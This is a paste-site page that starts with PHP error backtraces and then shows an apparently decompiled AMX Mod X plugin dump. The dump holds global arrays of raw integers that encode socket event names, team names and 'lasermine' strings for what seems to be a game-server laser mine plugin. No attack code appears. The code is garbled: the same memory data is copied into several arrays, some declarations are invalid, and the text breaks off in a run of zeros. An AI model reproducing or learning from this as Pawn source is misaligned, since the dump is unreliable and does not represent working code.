A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 551
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/system/core/Exceptions.php:271)

Filename: view/raw.php

Line Number: 2

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/themes/geocities/views/view/raw.php
Line: 2
Function: header

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 173
Function: include

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 43
Function: _ci_load

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 558
Function: view

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

new xs__ITaskId; new xs__ITaskParam[1033] = { 0, 0, 0, 0, 0, 98, 101, 97, 109, 0, 1132396544, 1132396544, 1132396544, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 120, 220, 320, 420, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 68, 105, 115, 99, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 82, 101, 113, 117, 101, 115, 116, 0, 0, 83, 111, 99, 107, 101, 116, 95, 73, 110, 99, 111, 109, 105, 110, 103, 68, 97, 116, 97, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 84, 105, 109, 101, 100, 79, 117, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 52, 64, 76, 88, 100, 112, 124, 136, 148, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 78, 111, 32, 97, 118, 97, 105, 108, 97, 98, 108, 101, 32, 115, 108, 111, 116, 115, 0, 69, 114, 114, 111, 114, 32, 99, 111, 110, 110, 101, 99, 116, 105, 110, 103, 32, 91, 37, 100, 93, 0, 105, 110, 102, 111, 95, 116, 97, 114, 103, 101, 116, 0, 115, 111, 99, 107, 101, 116, 95, 101, 110, 116, 105, 116, 121, 0, 115, 111, 99, 107, 101, 116, 95, 101, 110, 116, 105, 116, 121, 0, 95, 83, 111, 99, 107, 101, 116, 95, 69, 110, 116, 105, 116, 121, 84, 104, 105, 110, 107, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 99, 104, 0, 0, 0, 0, 0, 12, 12, 48, 0, 84, 69, 82, 82, 79, 82, 73, 83, 84, 0, 67, 84, 0, 99, 104, 0, 0, 84, 101, 97, 109, 73, 110, 102, 111, 0, 0, 83, 97, 121, 84, 101, 120, 116, 0, 97, 109, 120, 120, 95, 100, 97, 116, 97, 100, 105, 114, 0, 37, 115, 47, 108, 97, 110, 103, 47, 37, 115, 0, 114, 116, 0, 70, 97, 105, 108, 101, 100, 32, 116, 111, 32, 111, 112, 101, 110, 32, 37, 115, 0, 33, 103, 0, 4, 0, 33, 116, 0, 3, 0, 33, 110, 0, 1, 0, 123, 63, 853, 343, 855, 2348, 12422, 995, 2929, 3939, 303, 3930, 8691, 193, 483, 9391, 658, 108, 97, 115, 101, 114, 109, 105, 110, 101, 0, 1176312518, 1194475667, 1175635681, 1195559217, 1157184799, 1192913434, 1202025489, 29831, 102, 117, 110, 99, 95, 98, 114, 101, 97, 107, 97, 98, 108, 101, 0, 1156654039, 43934, 1199739689, 95964, 50943, 1231682142, 1201018252, 9278, 87642, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 132, 224, 316, 408, 500, 592, 684, 776, 868, 960, 1052, 1144, 1236, 1328, 1420, 1512, 1604, 1696, 1788, 1880, 1972, 2064, 2156, 2248, 2340, 2432, 2524, 2616, 2708, 2800, 2892, 2984, 3076, 3168, 3440, 3712, 3984, 4256, 4528, 4800, 5072, 5344, 5616, 5888, 6160, 6432, 6704, 6976, 7248, 7520, 7792, 8064, 8336, 8608, 8880, 9152, 9424, 9696, 9968, 10240, 10512, 10784, 11056, 11328, 11600, 11872, 12144, 12416, 12688, 12960, 13232, 13504, 13776, 14048, 14320, 14592, 14864, 15136, 15408, 15680, 15952, 16224, 16496, 16768, 17040, 17312, 17584, 17856, 18128, 18400, 18672, 18944, 19216, 19488, 19760, 20032, 20304, 20576, 20848, 21120, 21392, 21664, 21936, 22208, 22480, 22752, 23024, 23296, 23568, 23840, 24112, 24384, 24656, 24928, 25200, 25472, 25744, 26016, 26288, 26560, 26832, 27104, 27376, 27648, 27920, 28192, 28464, 28736, 29008, 29280, 29552, 29824, 30096, 30368, 30640, 30912, 31184, 31456, 31728, 32000, 32272, 32544, 32816, 33088, 33360, 33632, 33904, 34176, 34448, 34720, 34992, 35264, 35536, 35808, 36080, 36352, 36624, 36896, 37168, 37440, 37712, 37984, 38256, 38528, 38800, 39072, 39344, 39616, 39888, 40160, 40432, 40704, 40976, 41248, 41520, 41792, 42064, 42336, 42608, 42880, 43152, 43424, 43696, 43968, 44240, 44512, 44784, 45056, 45328, 45600, 45872, 46144, 46416, 46688, 46960, 47232, 47504, 47776, 48048, 48320, 48592, 48864, 49136, 49408, 49680, 49952, 50224, 50496, 50768, 51040, 51312, 51584, 51856, 52128, 52400, 52672, 52944, 53216, 53488, 53760, 54032, 54304, 54576, 54848, 55120, 55392, 55664, 55936, 56208, 56480, 56752, 57024, 57296, 57568, 57840, 58112, 58384, 58656, 58928, 59200, 59472, 59744, 60016, 60288, 60560, 60832, 61104, 61376, 61648, 61920, 62192, 62464, 62736, 63008, 63280, 63552, 63824, 64096, 64368, 64640, 64912, 65184, 65456, 65728, 66000, 66272, 66544, 66816, 67088, 67360, 67632, 67904, 68176, 68448, 68720, 68992, 69264, 69536, 69808, 70080, 70352, 70624, 70896, 71168, 71440, 71712, 71984, 72256, 72528, 72800, 73072, 73344, 73616, 73888, 74160, 74432, 74704, 74976, 75248, 75520, 75792, 76064, 76336, 76608, 76880, 77152, 77424, 77696, 77968, 78240, 78512, 78784, 79056, 79328, 79600, 79872, 80144, 80416, 80688, 80960, 81232, 81504, 81776, 82048, 82320, 82592, 82864, 83136, 83408, 83680, 83952, 84224, 84496, 84768, 85040, 85312, 85584, 85856, 86128, 86400, 86672, 86944, 87216, 87488, 87760, 88032, 88304, 88576, 88848, 89120, 89392, 89664, 89936, 90208, 90480, 90752, 91024, 91296, 91568, 91840, 92112, 92384, 92656, 92928, 93200, 93472, 93744, 94016, 94288, 94560, 94832, 95104, 95376, 95648, 95920, 96192, 96464, 96736, 97008, 97280, 97552, 97824, 98096, 98368, 98640, 98912, 99184, 99456, 99728, 100000, 100272, 100544, 100816, 101088, 101360, 101632, 101904, 102176, 102448, 102720, 102992, 103264, 103536, 103808, 104080, 104352, 104624, 104896, 105168, 105440, 105712, 105984, 106256, 106528, 106800, 107072, 107344, 107616, 107888, 108160, 108432, 108704, 108976, 109248, 109520, 109792, 110064, 110336, 110608, 110880, 111152, 111424, 111696, 111968, 112240, 112512, 112784, 113056, 113328, 113600, 113872, 114144, 114416, 114688, 114960, 115232, 115504, 115776, 116048, 116320, 116592, 116864, 117136, 117408, 117680, 117952, 118224, 118496, 118768, 119040, 119312, 119584, 119856, 120128, 120400, 120672, 120944, 121216, 121488, 121760, 122032, 122304, 122576, 122848, 123120, 123392, 123664, 123936, 124208, 124480, 124752, 125024, 125296, 125568, 125840, 126112, 126384, 126656, 126928, 127200, 127472, 127744, 128016, 128288, 128560, 128832, 129104, 129376, 129648, 129920, 130192, 130464, 130736, 131008, 131280, 131552, 131824 }; new xs__TaskFlags[5]; new xs__TaskFunc[48] = { 0, 0, 0, 0, 0, 98, 101, 97, 109, 0, 1132396544, 1132396544, 1132396544, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 120, 220, 320, 420, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116 }; new xs__TaskId; new Float:xs__TaskInterval; new xs__TaskParam[1033] = { 0, 0, 0, 0, 0, 98, 101, 97, 109, 0, 1132396544, 1132396544, 1132396544, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 120, 220, 320, 420, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 68, 105, 115, 99, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 82, 101, 113, 117, 101, 115, 116, 0, 0, 83, 111, 99, 107, 101, 116, 95, 73, 110, 99, 111, 109, 105, 110, 103, 68, 97, 116, 97, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 84, 105, 109, 101, 100, 79, 117, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 52, 64, 76, 88, 100, 112, 124, 136, 148, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 78, 111, 32, 97, 118, 97, 105, 108, 97, 98, 108, 101, 32, 115, 108, 111, 116, 115, 0, 69, 114, 114, 111, 114, 32, 99, 111, 110, 110, 101, 99, 116, 105, 110, 103, 32, 91, 37, 100, 93, 0, 105, 110, 102, 111, 95, 116, 97, 114, 103, 101, 116, 0, 115, 111, 99, 107, 101, 116, 95, 101, 110, 116, 105, 116, 121, 0, 115, 111, 99, 107, 101, 116, 95, 101, 110, 116, 105, 116, 121, 0, 95, 83, 111, 99, 107, 101, 116, 95, 69, 110, 116, 105, 116, 121, 84, 104, 105, 110, 107, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 99, 104, 0, 0, 0, 0, 0, 12, 12, 48, 0, 84, 69, 82, 82, 79, 82, 73, 83, 84, 0, 67, 84, 0, 99, 104, 0, 0, 84, 101, 97, 109, 73, 110, 102, 111, 0, 0, 83, 97, 121, 84, 101, 120, 116, 0, 97, 109, 120, 120, 95, 100, 97, 116, 97, 100, 105, 114, 0, 37, 115, 47, 108, 97, 110, 103, 47, 37, 115, 0, 114, 116, 0, 70, 97, 105, 108, 101, 100, 32, 116, 111, 32, 111, 112, 101, 110, 32, 37, 115, 0, 33, 103, 0, 4, 0, 33, 116, 0, 3, 0, 33, 110, 0, 1, 0, 123, 63, 853, 343, 855, 2348, 12422, 995, 2929, 3939, 303, 3930, 8691, 193, 483, 9391, 658, 108, 97, 115, 101, 114, 109, 105, 110, 101, 0, 1176312518, 1194475667, 1175635681, 1195559217, 1157184799, 1192913434, 1202025489, 29831, 102, 117, 110, 99, 95, 98, 114, 101, 97, 107, 97, 98, 108, 101, 0, 1156654039, 43934, 1199739689, 95964, 50943, 1231682142, 1201018252, 9278, 87642, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 132, 224, 316, 408, 500, 592, 684, 776, 868, 960, 1052, 1144, 1236, 1328, 1420, 1512, 1604, 1696, 1788, 1880, 1972, 2064, 2156, 2248, 2340, 2432, 2524, 2616, 2708, 2800, 2892, 2984, 3076, 3168, 3440, 3712, 3984, 4256, 4528, 4800, 5072, 5344, 5616, 5888, 6160, 6432, 6704, 6976, 7248, 7520, 7792, 8064, 8336, 8608, 8880, 9152, 9424, 9696, 9968, 10240, 10512, 10784, 11056, 11328, 11600, 11872, 12144, 12416, 12688, 12960, 13232, 13504, 13776, 14048, 14320, 14592, 14864, 15136, 15408, 15680, 15952, 16224, 16496, 16768, 17040, 17312, 17584, 17856, 18128, 18400, 18672, 18944, 19216, 19488, 19760, 20032, 20304, 20576, 20848, 21120, 21392, 21664, 21936, 22208, 22480, 22752, 23024, 23296, 23568, 23840, 24112, 24384, 24656, 24928, 25200, 25472, 25744, 26016, 26288, 26560, 26832, 27104, 27376, 27648, 27920, 28192, 28464, 28736, 29008, 29280, 29552, 29824, 30096, 30368, 30640, 30912, 31184, 31456, 31728, 32000, 32272, 32544, 32816, 33088, 33360, 33632, 33904, 34176, 34448, 34720, 34992, 35264, 35536, 35808, 36080, 36352, 36624, 36896, 37168, 37440, 37712, 37984, 38256, 38528, 38800, 39072, 39344, 39616, 39888, 40160, 40432, 40704, 40976, 41248, 41520, 41792, 42064, 42336, 42608, 42880, 43152, 43424, 43696, 43968, 44240, 44512, 44784, 45056, 45328, 45600, 45872, 46144, 46416, 46688, 46960, 47232, 47504, 47776, 48048, 48320, 48592, 48864, 49136, 49408, 49680, 49952, 50224, 50496, 50768, 51040, 51312, 51584, 51856, 52128, 52400, 52672, 52944, 53216, 53488, 53760, 54032, 54304, 54576, 54848, 55120, 55392, 55664, 55936, 56208, 56480, 56752, 57024, 57296, 57568, 57840, 58112, 58384, 58656, 58928, 59200, 59472, 59744, 60016, 60288, 60560, 60832, 61104, 61376, 61648, 61920, 62192, 62464, 62736, 63008, 63280, 63552, 63824, 64096, 64368, 64640, 64912, 65184, 65456, 65728, 66000, 66272, 66544, 66816, 67088, 67360, 67632, 67904, 68176, 68448, 68720, 68992, 69264, 69536, 69808, 70080, 70352, 70624, 70896, 71168, 71440, 71712, 71984, 72256, 72528, 72800, 73072, 73344, 73616, 73888, 74160, 74432, 74704, 74976, 75248, 75520, 75792, 76064, 76336, 76608, 76880, 77152, 77424, 77696, 77968, 78240, 78512, 78784, 79056, 79328, 79600, 79872, 80144, 80416, 80688, 80960, 81232, 81504, 81776, 82048, 82320, 82592, 82864, 83136, 83408, 83680, 83952, 84224, 84496, 84768, 85040, 85312, 85584, 85856, 86128, 86400, 86672, 86944, 87216, 87488, 87760, 88032, 88304, 88576, 88848, 89120, 89392, 89664, 89936, 90208, 90480, 90752, 91024, 91296, 91568, 91840, 92112, 92384, 92656, 92928, 93200, 93472, 93744, 94016, 94288, 94560, 94832, 95104, 95376, 95648, 95920, 96192, 96464, 96736, 97008, 97280, 97552, 97824, 98096, 98368, 98640, 98912, 99184, 99456, 99728, 100000, 100272, 100544, 100816, 101088, 101360, 101632, 101904, 102176, 102448, 102720, 102992, 103264, 103536, 103808, 104080, 104352, 104624, 104896, 105168, 105440, 105712, 105984, 106256, 106528, 106800, 107072, 107344, 107616, 107888, 108160, 108432, 108704, 108976, 109248, 109520, 109792, 110064, 110336, 110608, 110880, 111152, 111424, 111696, 111968, 112240, 112512, 112784, 113056, 113328, 113600, 113872, 114144, 114416, 114688, 114960, 115232, 115504, 115776, 116048, 116320, 116592, 116864, 117136, 117408, 117680, 117952, 118224, 118496, 118768, 119040, 119312, 119584, 119856, 120128, 120400, 120672, 120944, 121216, 121488, 121760, 122032, 122304, 122576, 122848, 123120, 123392, 123664, 123936, 124208, 124480, 124752, 125024, 125296, 125568, 125840, 126112, 126384, 126656, 126928, 127200, 127472, 127744, 128016, 128288, 128560, 128832, 129104, 129376, 129648, 129920, 130192, 130464, 130736, 131008, 131280, 131552, 131824 }; new xs__TaskRepeat; new xs__global_null; new xs__internalseed; new xs__logtypenames[6][0] = { { 0, ... }, { 0, ... }, { 0, ... }, { 0, ... }, { 0, ... }, { 14417920, ... } }; new xs__maxnum; new xs__replace_buf[3072] = { 0, 0, 0, 0, 0, 98, 101, 97, 109, 0, 1132396544, 1132396544, 1132396544, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 120, 220, 320, 420, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 68, 105, 115, 99, 111, 110, 110, 101, 99, 116, 101, 100, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 82, 101, 113, 117, 101, 115, 116, 0, 0, 83, 111, 99, 107, 101, 116, 95, 73, 110, 99, 111, 109, 105, 110, 103, 68, 97, 116, 97, 0, 0, 0, 0, 0, 0, 0, 83, 111, 99, 107, 101, 116, 95, 84, 105, 109, 101, 100, 79, 117, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 52, 64, 76, 88, 100, 112, 124, 136, 148, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 78, 111, 32, 97, 118, 97, 105, 108, 97, 98, 108, 101, 32, 115, 108, 111, 116, 115, 0, 69, 114, 114, 111, 114, 32, 99, 111, 110, 110, 101, 99, 116, 105, 110, 103, 32, 91, 37, 100, 93, 0, 105, 110, 102, 111, 95, 116, 97, 114, 103, 101, 116, 0, 115, 111, 99, 107, 101, 116, 95, 101, 110, 116, 105, 116, 121, 0, 115, 111, 99, 107, 101, 116, 95, 101, 110, 116, 105, 116, 121, 0, 95, 83, 111, 99, 107, 101, 116, 95, 69, 110, 116, 105, 116, 121, 84, 104, 105, 110, 107, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 99, 104, 0, 0, 0, 0, 0, 12, 12, 48, 0, 84, 69, 82, 82, 79, 82, 73, 83, 84, 0, 67, 84, 0, 99, 104, 0, 0, 84, 101, 97, 109, 73, 110, 102, 111, 0, 0, 83, 97, 121, 84, 101, 120, 116, 0, 97, 109, 120, 120, 95, 100, 97, 116, 97, 100, 105, 114, 0, 37, 115, 47, 108, 97, 110, 103, 47, 37, 115, 0, 114, 116, 0, 70, 97, 105, 108, 101, 100, 32, 116, 111, 32, 111, 112, 101, 110, 32, 37, 115, 0, 33, 103, 0, 4, 0, 33, 116, 0, 3, 0, 33, 110, 0, 1, 0, 123, 63, 853, 343, 855, 2348, 12422, 995, 2929, 3939, 303, 3930, 8691, 193, 483, 9391, 658, 108, 97, 115, 101, 114, 109, 105, 110, 101, 0, 1176312518, 1194475667, 1175635681, 1195559217, 1157184799, 1192913434, 1202025489, 29831, 102, 117, 110, 99, 95, 98, 114, 101, 97, 107, 97, 98, 108, 101, 0, 1156654039, 43934, 1199739689, 95964, 50943, 1231682142, 1201018252, 9278, 87642, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 132, 224, 316, 408, 500, 592, 684, 776, 868, 960, 1052, 1144, 1236, 1328, 1420, 1512, 1604, 1696, 1788, 1880, 1972, 2064, 2156, 2248, 2340, 2432, 2524, 2616, 2708, 2800, 2892, 2984, 3076, 3168, 3440, 3712, 3984, 4256, 4528, 4800, 5072, 5344, 5616, 5888, 6160, 6432, 6704, 6976, 7248, 7520, 7792, 8064, 8336, 8608, 8880, 9152, 9424, 9696, 9968, 10240, 10512, 10784, 11056, 11328, 11600, 11872, 12144, 12416, 12688, 12960, 13232, 13504, 13776, 14048, 14320, 14592, 14864, 15136, 15408, 15680, 15952, 16224, 16496, 16768, 17040, 17312, 17584, 17856, 18128, 18400, 18672, 18944, 19216, 19488, 19760, 20032, 20304, 20576, 20848, 21120, 21392, 21664, 21936, 22208, 22480, 22752, 23024, 23296, 23568, 23840, 24112, 24384, 24656, 24928, 25200, 25472, 25744, 26016, 26288, 26560, 26832, 27104, 27376, 27648, 27920, 28192, 28464, 28736, 29008, 29280, 29552, 29824, 30096, 30368, 30640, 30912, 31184, 31456, 31728, 32000, 32272, 32544, 32816, 33088, 33360, 33632, 33904, 34176, 34448, 34720, 34992, 35264, 35536, 35808, 36080, 36352, 36624, 36896, 37168, 37440, 37712, 37984, 38256, 38528, 38800, 39072, 39344, 39616, 39888, 40160, 40432, 40704, 40976, 41248, 41520, 41792, 42064, 42336, 42608, 42880, 43152, 43424, 43696, 43968, 44240, 44512, 44784, 45056, 45328, 45600, 45872, 46144, 46416, 46688, 46960, 47232, 47504, 47776, 48048, 48320, 48592, 48864, 49136, 49408, 49680, 49952, 50224, 50496, 50768, 51040, 51312, 51584, 51856, 52128, 52400, 52672, 52944, 53216, 53488, 53760, 54032, 54304, 54576, 54848, 55120, 55392, 55664, 55936, 56208, 56480, 56752, 57024, 57296, 57568, 57840, 58112, 58384, 58656, 58928, 59200, 59472, 59744, 60016, 60288, 60560, 60832, 61104, 61376, 61648, 61920, 62192, 62464, 62736, 63008, 63280, 63552, 63824, 64096, 64368, 64640, 64912, 65184, 65456, 65728, 66000, 66272, 66544, 66816, 67088, 67360, 67632, 67904, 68176, 68448, 68720, 68992, 69264, 69536, 69808, 70080, 70352, 70624, 70896, 71168, 71440, 71712, 71984, 72256, 72528, 72800, 73072, 73344, 73616, 73888, 74160, 74432, 74704, 74976, 75248, 75520, 75792, 76064, 76336, 76608, 76880, 77152, 77424, 77696, 77968, 78240, 78512, 78784, 79056, 79328, 79600, 79872, 80144, 80416, 80688, 80960, 81232, 81504, 81776, 82048, 82320, 82592, 82864, 83136, 83408, 83680, 83952, 84224, 84496, 84768, 85040, 85312, 85584, 85856, 86128, 86400, 86672, 86944, 87216, 87488, 87760, 88032, 88304, 88576, 88848, 89120, 89392, 89664, 89936, 90208, 90480, 90752, 91024, 91296, 91568, 91840, 92112, 92384, 92656, 92928, 93200, 93472, 93744, 94016, 94288, 94560, 94832, 95104, 95376, 95648, 95920, 96192, 96464, 96736, 97008, 97280, 97552, 97824, 98096, 98368, 98640, 98912, 99184, 99456, 99728, 100000, 100272, 100544, 100816, 101088, 101360, 101632, 101904, 102176, 102448, 102720, 102992, 103264, 103536, 103808, 104080, 104352, 104624, 104896, 105168, 105440, 105712, 105984, 106256, 106528, 106800, 107072, 107344, 107616, 107888, 108160, 108432, 108704, 108976, 109248, 109520, 109792, 110064, 110336, 110608, 110880, 111152, 111424, 111696, 111968, 112240, 112512, 112784, 113056, 113328, 113600, 113872, 114144, 114416, 114688, 114960, 115232, 115504, 115776, 116048, 116320, 116592, 116864, 117136, 117408, 117680, 117952, 118224, 118496, 118768, 119040, 119312, 119584, 119856, 120128, 120400, 120672, 120944, 121216, 121488, 121760, 122032, 122304, 122576, 122848, 123120, 123392, 123664, 123936, 124208, 124480, 124752, 125024, 125296, 125568, 125840, 126112, 126384, 126656, 126928, 127200, 127472, 127744, 128016, 128288, 128560, 128832, 129104, 129376, 129648, 129920, 130192, 130464, 130736, 131008, 131280, 131552, 131824, 132096, 132368, 132640, 132912, 133184, 133456, 133728, 134000, 134272, 134544, 134816, 135088, 135360, 135632, 135904, 136176, 136448, 136720, 136992, 137264, 137536, 137808, 138080, 138352, 138624, 138896, 139168, 139440, 139712, 139984, 140256, 140528, 140800, 141072, 141344, 141616, 141888, 142160, 142432, 142704, 142976, 143248, 143520, 143792, 144064, 144336, 144608, 144880, 145152, 145424, 145696, 145968, 146240, 146512, 146784, 147056, 147328, 147600, 147872, 148144, 148416, 148688, 148960, 149232, 149504, 149776, 150048, 150320, 150592, 150864, 151136, 151408, 151680, 151952, 152224, 152496, 152768, 153040, 153312, 153584, 153856, 154128, 154400, 154672, 154944, 155216, 155488, 155760, 156032, 156304, 156576, 156848, 157120, 157392, 157664, 157936, 158208, 158480, 158752, 159024, 159296, 159568, 159840, 160112, 160384, 160656, 160928, 161200, 161472, 161744, 162016, 162288, 162560, 162832, 163104, 163376, 163648, 163920, 164192, 164464, 164736, 165008, 165280, 165552, 165824, 166096, 166368, 166640, 166912, 167184, 167456, 167728, 168000, 168272, 168544, 168816, 169088, 169360, 169632, 169904, 170176, 170448, 170720, 170992, 171264, 171536, 171808, 172080, 172352, 172624, 172896, 173168, 173440, 173712, 173984, 174256, 174528, 174800, 175072, 175344, 175616, 175888, 176160, 176432, 176704, 176976, 177248, 177520, 177792, 178064, 178336, 178608, 178880, 179152, 179424, 179696, 179968, 180240, 180512, 180784, 181056, 181328, 181600, 181872, 182144, 182416, 182688, 182960, 183232, 183504, 183776, 184048, 184320, 184592, 184864, 185136, 185408, 185680, 185952, 186224, 186496, 186768, 187040, 187312, 187584, 187856, 188128, 188400, 188672, 188944, 189216, 189488, 189760, 190032, 190304, 190576, 190848, 191120, 191392, 191664, 191936, 192208, 192480, 192752, 193024, 193296, 193568, 193840, 194112, 194384, 194656, 194928, 195200, 195472, 195744, 196016, 196288, 196560, 196832, 197104, 197376, 197648, 197920, 198192, 198464, 198736, 199008, 199280, 199552, 199824, 200096, 200368, 200640, 200912, 201184, 201456, 201728, 202000, 202272, 202544, 202816, 203088, 203360, 203632, 203904, 204176, 204448, 204720, 204992, 205264, 205536, 205808, 206080, 206352, 206624, 206896, 207168, 207440, 207712, 207984, 208256, 208528, 208800, 209072, 209344, 209616, 209888, 210160, 210432, 210704, 210976, 211248, 211520, 211792, 212064, 212336, 212608, 212880, 213152, 213424, 213696, 213968, 214240, 214512, 214784, 215056, 215328, 215600, 215872, 216144, 216416, 216688, 216960, 217232, 217504, 217776, 218048, 218320, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 